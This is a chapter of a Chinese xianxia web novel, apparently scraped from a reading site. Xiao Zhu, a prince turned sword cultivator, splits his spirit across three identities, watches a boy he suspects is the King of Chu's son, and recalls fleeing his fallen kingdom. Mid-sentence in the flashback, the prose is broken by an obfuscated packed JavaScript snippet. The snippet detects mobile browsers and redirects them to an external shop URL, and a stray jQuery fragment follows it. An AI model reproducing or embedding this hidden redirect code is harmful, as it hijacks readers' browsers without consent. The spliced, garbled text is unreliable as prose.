离开本体一月有余的一道元神归位,萧渚虽未打开经脉,却也感觉放松了许多,若是没有将这缕元神分走,他大概也不会这么容易就被人捅个对穿。
大名鼎鼎的谢家临渊境被仙门众人传得神乎其神,都说其中有数不尽的异兽仙草与机缘。从小到大没过过几天苦日子,物质上几乎并未有所欠缺,萧渚对那些畜生杂草都不感兴趣,他只有境界数年难以突破这一个烦恼。
闭关之前倒还好,境界不破,修为倒还稳定,可自打出关以后,自己的一部分修为灵力在两道元神之间互相乱窜,极度不稳定。
据说临渊境内有神器可以助修士稳固元神,他这才入学宫寻找解开能解开秘境之人。结果人没找到,修为开始在三道元神之间周转了。
自己明明设定好顾清砚就是筑基期的修为,可眼见着都要能跟玄玑打个平手了。
修为不会突然上涨,在他们三人之间是流动的,有强必有弱,修为跑到顾清砚身上的时候,大部分时间都是萧渚这个本尊遭殃,本就整日替方恺那孙子奔命,再任由修为到处乱窜,自己恐怕要凶多吉少了。
原以为玄玑身为谢临渊的女儿一定能够解开临渊境,但看她竟然改头换面来学宫当讲师,萧渚便知道她也没有办法,和自己一样,是来找人的。
他也不想成日里一个人掰成三瓣用,顾喧洲在剑宗好歹占有一席之地不可割舍,临渊境是要进去的,疑似楚王崽子的范小源是要看好的,萧渚晃晃悠悠坐在瘦得硌人的马背上,朝天翻了个白眼,认命地偷偷将元神放回学宫。
朝阳已经穿过枕月居的窗纸,打在顾清砚的脸上。
顾清砚在卧榻上睁开了眼,颜色清浅的眼眸略有些怔愣地盯着规规矩矩绑在床柱上的床幔。
或许是元神刚刚归位需要适应,她浑身僵硬,几乎难以动弹。
身边有什么东西窸窸窣窣地动了动,身体突然轻松了许多,顾清砚偏头一看,是玄玑刚刚翻了个身,将压住自己的手臂与腿脚移开了。
她坐起身,下床,将窗子打开,眼见日头已经高高升起,又望向床上的玄玑,竟然还在无知无觉地睡着。
玄玑每日早起到达学舍十分准时,今日这么晚了竟然连转醒的迹象都没有,着实有些奇怪。
顾清砚坐回床榻上,抬手摸了摸玄玑的额头。
没有发热,触手甚至有些冰凉,她给熟睡的人掩上锦被,盯着桌上的茶杯好一会儿,突然泄下一口气,认命地梳妆好,婷婷袅袅地走了。
作为顾家的大小姐,同窗们向来不敢得罪,迟到并无人追究,只是她平日里十分守时,今日来得这样晚还是头一回,后排几个人忍不住回头望了两眼。
桑靖峰偷看时一不小心对上了顾清砚的眼睛,一道寒冷的眸光丝毫不加掩饰地剜了他一刀,桑靖峰被这一击吓个激灵,马上将头扭了回去。
才装模做样地坐正,抬眼又见刚刚还在前方滔滔不绝的“萧先生”不知何时停了下来,用与顾清砚极其相似的眼刀对自己展开了攻击。
水行院的弟子们将这场景看在眼里,不约而同地暗暗擦了一把汗。
最近还是不要招惹萧先生为好。
将弟子们威慑了一番,顾清砚端庄落座,她春学之中的课程她根本没有必要学,今日晚了许久却还是要来学宫只为一件事——再看几眼范小源。
楚王的画像版本有不少,丛逸之前拿给顾喧洲看的也只画了个大概,如今萧渚遇见本尊,一路上恨不得用目光将楚昭的脸皮给扒下来看个仔细,终于将他的长相牢牢刻在心中。
顾清砚单手撑腮,偏头看向范小源。
范小源近些日子突然发奋图强,每日课中认真听讲,看书习字也都不落下,十分用功。
顾清砚早些时候对这泥堆里爬出来的小子并未过多在意,只记得他憨憨笨笨的。没想到如今在学宫磋磨了一月有余,长于乡野的那股子涉世未深的愣劲儿慢慢褪去,反倒显出几分机灵来。
仔细观察他的样貌,虽然这小孩稚气未脱,离长开还差得远,但已然能够从他青涩的五官中找到楚昭的影子。
尤其是那张嘴,嘴角微微上扬,似笑非笑,小子是个讨喜的面相,老子却像只成了精的狐狸。
范小源心性更佳,求仙问道或是抚有万邦于他而言都不难,不知将来等到父子相认之时,他会作何选择呢?
顾清砚的眸光慢慢从范小源脸上移开,转而望向如洗碧空。
在他还只是萧渚的时候,天空好像日日都是如此的颜色。
又或许是因为每每天气晴好时父王都要命他去练武场练剑,所以对自己痛苦挥剑的日子印象尤为深刻。
那时,中原尽是景安国的国土,萧渚不是国君最疼爱的孩子,但是他教导最为严苛的皇子。
他生来就是要为太子定国安邦的一把剑。
所以萧渚自有记忆起手里就拿着剑了。
太子与他非同母所生,两人都未养在母亲身边,而是两个孩子自小生活在一起。
萧渚不喜欢太子,也不知道父王到底喜欢太子什么。
太子每日都懒洋洋地坐在宫中听太师教导,说是听,可他一会儿要茶水,一会儿要糕点,听到动情处还要情不自禁地昏睡过去,不思进取暂且不论,竟将自己养得脑满肠肥,几欲出栏了。
与太子年龄相仿又同住一宫,萧渚生活却很是单调,白日里在刀光剑影中被晃瞎眼,到了夜间还与剑同床共枕,就连吃饭时都恨不得要给佩剑单独加一张桌子。
萧渚其实不喜欢被逼着练剑,可他又十分喜欢剑,日日就这么磋磨着,终于有一天,父王似乎看到了他的努力,一改平日的严词厉色,分外和蔼慈祥地与他说了半宿的体己话。
第二日凌晨的残月还挂在天际之时,萧渚满含希冀兴致冲冲地起床练剑时,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16280029|182510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远远听闻宫墙之外刀枪碰撞、弓箭破空的交击声,他怔愣地环视一遭宫苑,太子居所门户大开,显然已经人去楼空了。
萧渚隐约察觉了什么,却仍不死心地要去找他那个前几个时辰还对自己和颜悦色的父王,阖宫都没有什么父王,反而路上碰见的的太监宫女都叫他陛下。
最后,他找到了父王身边的老太监,他须发尽白,微微佝偻着身子,不像别人那样叫他陛下,而是慈爱又怜惜地抚摸着萧渚的发顶,叫上最后一群散兵游勇,护送他出了城。
萧渚从小到大只会舞剑,他对这四角的天空似乎没有任何留恋,面无表情地抱着怀里这柄陪伴自己的时间最为长久却也最为冰冷的东西远去。
实际上他们也并没有走多远,还未到达另外一座城池,萧渚的马车便被追兵拦住了去路。
景安国最精锐的兵将早不知被父王带去了哪里,萧渚身边的卫兵被敌军像砍瓜切菜一样削去了头颅。
他看见掀开车帘张牙舞爪的敌军时,心情似乎并没有什么波动,琥珀色淡淡的眸子在来人的狞笑声中闪了闪,没有一丝犹疑地提剑杀出了一条血路。
这是萧渚第一次杀人,平日里再稳不过的双手竟然开始止不住地颤抖。逃离马车后身后又有敌军追了上来,他终究是个十几岁的少年,比不上这群甲坚兵利的士兵。
身上被劈砍得没有一块好肉,萧渚感觉自己的鲜血都要流干了。他看着暗红色的残血顺着手腕蜿蜒到剑格之上,剑刃深深插进腥臭的泥土之中,仿佛能看见这黄土之下的森森白骨。
他这才意识到,自己似乎并不能割舍这片破败的土地。
血与汗与泪,掺杂着浑浊流淌。
“不如就在这残垣断壁中长眠吧。”
这是萧渚阖眼之前的最后一个念头。
再度睁眼时,眼前是几个身着白衣的青年。其中有一个看起来颇为高大稳重的,便是那时的方恺。
“师父,”方恺突然喊,“这小子醒了!”
萧渚浑身沉重地张不开嘴,只能干瞪着眼睛看向笑眯眯凑过来的云岫真人。
“眼睛大,是个好苗子!”云岫真人捻着自己那根本没有几根的胡子赞道,“就做为师的关门弟子吧!”
萧渚不知道这挑牲口一样的标准是从何而来的,也并不想做这神棍的关门弟子,但吃了重伤的亏,有口难拒,稀里糊涂地竟然被方恺一口一个师弟叫成了真。
本以为这地方就是个普通道观,没想到是个正儿八经剑修门派,平日里说什么腾云驾雾怪力乱神萧渚都岿然不动,可若是牵扯到“剑”这一字,他却来了劲头。虽不在凡间,萧渚却仍隐瞒了身份,化名顾喧洲乖乖做云栖剑宗宗主云岫真人的关门弟子。
“等我学成,便杀回去,夺回我的王城。”
萧渚心道。
云岫真人似是会读心术一般,一连五十年,未曾放萧渚下山。